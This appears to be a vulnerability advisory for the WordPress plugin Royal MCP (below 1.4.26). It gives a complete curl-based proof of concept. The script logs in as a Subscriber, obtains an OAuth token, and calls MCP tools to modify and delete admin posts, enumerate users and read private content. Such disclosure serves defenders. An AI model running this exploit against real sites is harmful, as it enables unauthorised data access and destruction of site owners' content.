Royal MCP < 1.4.26 – Subscriber+ Insufficient Authorization in MCP Tools | CVE 2026-10750

Description

The plugin does not perform capability checks on the majority of its MCP tools after token authentication, allowing authenticated users with a low-privileged role such as Subscriber to read private content, enumerate all users and their roles, and create, modify, or delete content owned by other users.

Proof of Concept

Prerequisites: Royal MCP installed, activated, and the MCP integration enabled in Settings (off by default; an administrator must enable it for any MCP use). A Subscriber account exists. For demonstration, an admin-owned published post (ID 3) and an admin-owned private post (ID 4) exist. Replace $BASE with the site URL. The final call deletes post 3 — use a throwaway post ID.

# Step 1: log in as the Subscriber and complete the OAuth 2.1 + PKCE flow
VERIFIER=$(python3 -c "import os,base64;print(base64.urlsafe_b64encode(os.urandom(32)).rstrip(b'=').decode())")
CHALLENGE=$(python3 -c "import os,base64,hashlib;v='$VERIFIER'.encode();print(base64.urlsafe_b64encode(hashlib.sha256(v).digest()).rstrip(b'=').decode())")
REDIRECT="http://localhost:8080/callback"

curl -s -c c.txt "$BASE/wp-login.php" -o /dev/null
curl -s -c c.txt -b c.txt -d "log=subscriber&pwd=password&wp-submit=Log+In&testcookie=1" "$BASE/wp-login.php" -o /dev/null

CLIENT_ID=$(curl -s -X POST "$BASE/register" -H "Content-Type: application/json" \
  -d "{\"redirect_uris\":[\"$REDIRECT\"],\"client_name\":\"poc\"}" | jq -r '.client_id')

NONCE=$(curl -s -b c.txt -G "$BASE/authorize" \
  --data-urlencode "response_type=code" --data-urlencode "client_id=$CLIENT_ID" \
  --data-urlencode "redirect_uri=$REDIRECT" --data-urlencode "code_challenge=$CHALLENGE" \
  --data-urlencode "code_challenge_method=S256" --data-urlencode "state=s" --data-urlencode "scope=mcp:full" \
  | grep -oE 'name="_wpnonce" value="[^"]+"' | sed -E 's/.*value="([^"]+)"/\1/')

CODE=$(curl -s -b c.txt -i -X POST "$BASE/authorize" \
  --data-urlencode "_wpnonce=$NONCE" --data-urlencode "client_id=$CLIENT_ID" \
  --data-urlencode "redirect_uri=$REDIRECT" --data-urlencode "code_challenge=$CHALLENGE" \
  --data-urlencode "code_challenge_method=S256" --data-urlencode "state=s" --data-urlencode "scope=mcp:full" \
  --data-urlencode "authorize_action=approve" | grep -i "^location:" | sed -E 's/.*[?&]code=([^&]+).*/\1/' | tr -d '\r')

TOKEN=$(curl -s -X POST "$BASE/token" \
  --data-urlencode "grant_type=authorization_code" --data-urlencode "code=$CODE" \
  --data-urlencode "client_id=$CLIENT_ID" --data-urlencode "redirect_uri=$REDIRECT" \
  --data-urlencode "code_verifier=$VERIFIER" | jq -r '.access_token')

# Step 2: open an MCP session
MCP="$BASE/wp-json/royal-mcp/v1/mcp"
SESSION=$(curl -s -i -X POST "$MCP" -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" -H "Accept: application/json" \
  -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}' \
  | grep -i "^mcp-session-id:" | awk '{print $2}' | tr -d '\r')
call(){ curl -s -X POST "$MCP" -H "Authorization: Bearer $TOKEN" -H "Mcp-Session-Id: $SESSION" \
  -H "Content-Type: application/json" -H "Accept: application/json" -d "$1"; }

# Step 3: the token is low-privileged (capability-gated tool is correctly denied)
call '{"jsonrpc":"2.0","id":10,"method":"tools/call","params":{"name":"wp_upload_media","arguments":{"filename":"x.jpg","content_base64":"aGk="}}}'
#  -> Error: You do not have permission to upload files.

# Step 4: missing-authorization tools succeed as the Subscriber
call '{"jsonrpc":"2.0","id":20,"method":"tools/call","params":{"name":"wp_create_post","arguments":{"title":"Sub","content":"x","status":"publish"}}}'
call '{"jsonrpc":"2.0","id":21,"method":"tools/call","params":{"name":"wp_update_post","arguments":{"id":3,"content":"ROYAL-MCP-SUBSCRIBER-UPDATED-CONTENT"}}}'
call '{"jsonrpc":"2.0","id":22,"method":"tools/call","params":{"name":"wp_update_post_meta","arguments":{"post_id":3,"key":"royal_mcp_subscriber_marker","value":"ROYAL-MCP-META-MARKER"}}}'
call '{"jsonrpc":"2.0","id":23,"method":"tools/call","params":{"name":"wp_get_users","arguments":{"per_page":50}}}'
call '{"jsonrpc":"2.0","id":24,"method":"tools/call","params":{"name":"wp_get_post","arguments":{"id":4}}}'
call '{"jsonrpc":"2.0","id":25,"method":"tools/call","params":{"name":"wp_delete_post","arguments":{"id":3,"force":false}}}'